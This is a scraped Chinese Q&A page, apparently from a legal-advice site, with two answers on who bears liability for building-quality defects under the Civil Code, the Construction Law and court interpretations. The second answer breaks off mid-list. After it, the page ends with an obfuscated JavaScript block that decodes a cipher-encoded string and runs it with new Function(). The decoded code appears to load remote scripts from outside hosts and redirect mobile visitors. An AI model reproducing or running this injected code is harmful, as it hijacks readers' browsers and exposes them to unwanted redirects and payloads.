建筑工程质量纠纷该怎么处理

2025-02-05 20:03:27
推荐回答(2个)
回答1:

《民法典》解读:因建筑质量缺陷受损害,该由谁赔偿?-工保网

建筑工程质量缺陷事关人民群众生命财产安全,损害赔偿作为一种民事责任方式应当发挥救济作用。当建筑工程质量缺陷给工程所有权人、使用人或第三方造成损失乃至造成重大责任事件时,除了追究责任人的行政责任和刑事责任外,对受害人的损害赔偿也不可忽视。

从销售关系看,出卖人(往往具有建设单位的身份)与房屋买受人之间存在不动产买卖合同关系,因建筑工程质量问题造成的损害本质上属于不动产的产品责任;从生产关系看,以及建设单位与勘察单位、设计单位、施工单位、工程监理单位存在发承包合同关系,因建筑工程质量问题造成的损害可能涉及多方主体。

因此在《建筑法》第八十条明确“在建筑物的合理使用寿命内,因建筑工程质量不合格受到损害的,有权向责任者要求赔偿”的前提下,实际上在因建筑工程质量缺陷造成他人损害中,确认责任主体以及后续请求赔偿颇为复杂。

1、建筑工程质量缺陷如何归责?

归责原则的不同会引起过错的确定、举证责任的分配、免责事由等方面的区别。从各国的立法例看,以过错责任、无过错责任、严格责任和过错推定责任四种根据确认和追究侵权行为人的民事责任较为普遍。

建筑物等倒塌、塌陷责任

不同于《侵权责任法》第八十六条“建筑物、构筑物或者其他设施倒塌造成他人损害的,由建设单位与施工单位承担连带责任”,《民法典》第一千二百五十二条一方面增加了“塌陷”情形;另一方面通过增加“建设单位与施工单位能够证明不存在质量缺陷的除外”这一免责事由,将无过错责任修改为过错推定责任。

另外不同于《侵权责任法》第八十六条对于“其他责任人”的模糊规定,《民法典》第一千二百五十二条将其改为“所有人、管理人、使用人或者第三人”,明确了建筑物、构筑物或者其他设施倒塌、坍塌造成他人损害的责任主体。

建筑物等脱落、坠落责任

《民法典》第一千二百五十三条则沿袭了《侵权责任法》第八十五条,对建筑物等脱落、坠落的损害赔偿责任进行了规定。这一情形适用“不能证明推定过错”原则,符合举证责任倒置的特征。

堆放物致害责任

《民法典》第一千二百五十五条在《侵权责任法》第八十八条的基础上增加了滚落与滑落情形,也同样符合举证责任倒置的特征。

地面施工致害责任

《民法典》第一千二百五十八条将《侵权责任法》第九十一条中的“挖坑、修缮”修改为“挖掘、修缮”,且将“没有设置明显标志和采取安全措施造成他人损害的,施工人应当承担侵权责任”修改为“施工人不能证明已经设置明显标志和采取安全措施的,应当承担侵权责任”,进一步明确了施工单位在不能证明情况下的侵权责任。

此外,诸如《建筑法》、《建设工程质量管理条例》之类的特别法也从行政角度对责任进行了规定。如《建筑法》第七十五条的“建筑施工企业……对在保修期内因屋顶、墙面渗漏、开裂等质量缺陷造成的损失,承担赔偿责任”,对施工单位的过错责任进行了规定;住建部近日印发的《关于落实建设单位工程质量首要责任的通知》,也强调对因工程质量给工程所有权人、使用人或第三方造成的损失,建设单位依法承担赔偿责任。

2、因建筑产品缺陷受损害的赔偿与追偿

在第十章“建筑物和物件损害责任”中,《民法典》还对追偿做出了规定:在承担连带责任/侵权责任的主体赔偿后,有其他责任人的,有权向其他责任人追偿。住建部近日印发的《关于落实建设单位工程质量首要责任的通知》也遵循这一思路,规定建设单位在依法承担赔偿责任后,有其他责任人的,可以向其他责任人追偿。

因此,在商品房买卖合同中,买受人可依据第一千二百零三条“因产品存在缺陷造成他人损害的,被侵权人可以向产品的生产者请求赔偿,也可以向产品的销售者请求赔偿”,凭合同直接向出卖人提出赔偿要求;而后由出卖人向建设单位、勘察单位、设计单位、施工单位、工程监理单位等依法追偿。

其次,合同当事人之外的使用人或第三方因建筑工程质量缺陷遭受损害时,未来受害人可以依照《民法典》要求损害责任人承担赔偿责任,或要求建设单位与施工单位承担连带责任;而后由承担侵权责任的主体向其他责任人追偿。当然,先行垫付赔偿费用的一方只有在另一方符合承担产品侵权责任条件的情形下,才可以向对方行使追偿权。

应该看到,我国尚未从民法角度系统规定建设工程质量侵权责任,对于建筑工程质量缺陷具体情形仅有枚举规定。而在建筑工程质量缺陷引起的损害中,有必要区分民事责任与行政责任、刑事责任,进一步完善建筑工程质量缺陷侵权责任的规则设计,从而落实建设单位的首要责任、勘察设计单位的基础责任、施工单位的直接责任、监理单位的监督责任、中介机构的相应责任。

回答2:

建设工程施工合同,是承包人按照国家规定或者合同约定的质量标准,完成并提交建设成果,发包人支付价款的合同。工程质量合格在先,工程价款结算置后,验收合格之前的工程价款,属于未到期的债权。工程质量不合格,经整改仍不合格的,不能支付工程款,已经支付的,应当以不当得利返还。所以,保障工程质量,是承包人的铁定义务。
一、常见承包人应当承担工程质量责任情况
1、偷工减料,或者因材料不合格导致工程质量不合格;
2、未按图施工,未按施工技术标准施工;
3、工人技能太差、质量管理粗放;
4、对于甲供材料,未经检验合格或者明知不合格而使用;
5、对于设计方案和图纸,应当能够判断其缺陷,没有判断或者没有提出;
6、承包人不具备施工资质,因资金、技术、设备、管理造成工程质量问题,等等。
二、常见发包人应当承担质量责任的情况
依据最高人民法院《关于审理建设工程施工合同纠纷案件适用法律问题的解释》第十二条规定:“发包人具有下列情形之一,造成建设工程质量缺陷,应当承担过错责任:
(一)提供的设计有缺陷;
(二)提供或者指定购买的建筑材料、建筑构配件、设备不符合强制性标准;
(三)直接指定分包人分包专业工程。
承包人有过错的,也应当承担相应的过错责任。”这里所说承包人的过错是指:
1、承包人知道或应当知道工程设计缺陷,没有提出,继续施工的;
2、承包人对发包人提供或指定购买的建筑材料、建筑构配件和设备,未进行检验或经检验不合格仍然使用的;
3、对发包人提出的违反法律、法规和建筑工程质量安全标准规定,降低工程质量的要求不予拒绝的。
因勘察、设计造成的工程质量缺陷,属于承包人的免责范围,应当由发包人先对承包人承担责任,再由发包人依据约定向勘察、设计方主张权利。
三、建设工程质量责任的处理办法
根据《合同法》第二百八十一条的规定,“因施工人的原因致使建设工程质量不符合约定的,发包人有权要求施工人在合理期限内无偿修理或者返工、改建。经过修理或者返工、改建后,造成逾期交付的,施工人应当承担违约责任。”依据最高人民法院《关于审理建设工程施工合同纠纷案件适用法律问题的解释》第十一条规定,“因承包人的过错造成建设工程质量不符合约定,承包人拒绝修理、返工或者改建,发包人请求减少支付工程价款的,应予支持。”第三条规定“建设工程经竣工验收不合格的,按照以下情形分别处理:
(一)修复后的建设工程经竣工验收合格,发包人请求承包人承担修复费用的,应予支持;
(二)修复后的建设工程经竣工验收不合格,承包人请求支付工程价款的,不予支持。”
据此,承包人应当承担的质量缺陷责任是
1、修理或者返工、改建,并承担相关费用;因此建造成逾期交付的,承担违约金或者因此给发包人造成的损失。
2、承包人拒绝修理或返工、改建的,发包人可以减少支付工程价款。减少工程款的数额,应相当于因整改需要支出的费用、因整改逾期竣工承包人应当支付的违约金或者因此给发包人造成的损失。
3、整改以后仍不合格或者质量缺陷属于不可修复的,不支付工程价款;已经支付的,按照不当得利返还。
四、法律依据及相关案例:
发包人应当承担工程质量责任的法律规定:
《中华人民共和国建筑法》第五十八条规定:“建筑企业对工程的施工质量负责。建筑企业必须按照工程设计图纸和施工技术标准施工,不得偷工减料。工程设计的修改由原设计单位负责,建筑企业不得擅自修改工程设计。”
第五十九条规定:“建筑企业必须按照工程设计要求、施工技术标准和合同的约定,对建筑材料、建筑构配件和设备进行检验,不合格的不得使用。”
《合同法》第二百八十一条的规定,“因施工人的原因致使建设工程质量不符合约定的,发包人有权要求施工人在合理期限内无偿修理或者返工、改建。经过修理或者返工、改建后,造成逾期交付的,施工人应当承担违约责任。”
《关于审理建设工程施工合同纠纷案件适用法律问题的解释》第十一条规定,“因承包人的过错造成建设工程质量不符合约定,承包人拒绝修理、返工或者改建,发包人请求减少支付工程价款的,应予支持。”
第三条规定“建设工程经竣工验收不合格的,按照以下情形分别处理:
(一)修复后的建设工程经竣工验收合格,发包人请求承包人承担修复费用的,应予支持;
(二)修复后的建设工程经竣工验收不合格,承包人请求支付工程价款的,不予支持。”
《建设工程质量管理条例》第二十八条,此条款明确规定,“建筑企业必须按照工程设计图纸和施工技术标准施工,不得擅自修改工程设计,不得偷工减料。建筑企业在施工过程中发现设计文件和图纸有差错的,应当及时提出意见和建议。”另外,《条例》第二十九条规定:“建筑企业必须按照工程设计要求、施工技术标准和合同约定,对建筑材料、建筑构配件、设备和商品混凝土进行检验,检验应当有书面记录和专人签字;未经检验或者检验不合格的,不得使用。”
五、免除承包人质量责任,发包人应当承担工程质量的法律规定
《关于审理建设工程施工合同纠纷案件适用法律问题的解释》
第十二条规定:“发包人具有下列情形之一,造成建设工程质量缺陷,应当承担过错责任:
(一)提供的设计有缺陷;
(二)提供或者指定购买的建筑材料、建筑构配件、设备不符合强制性标准

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();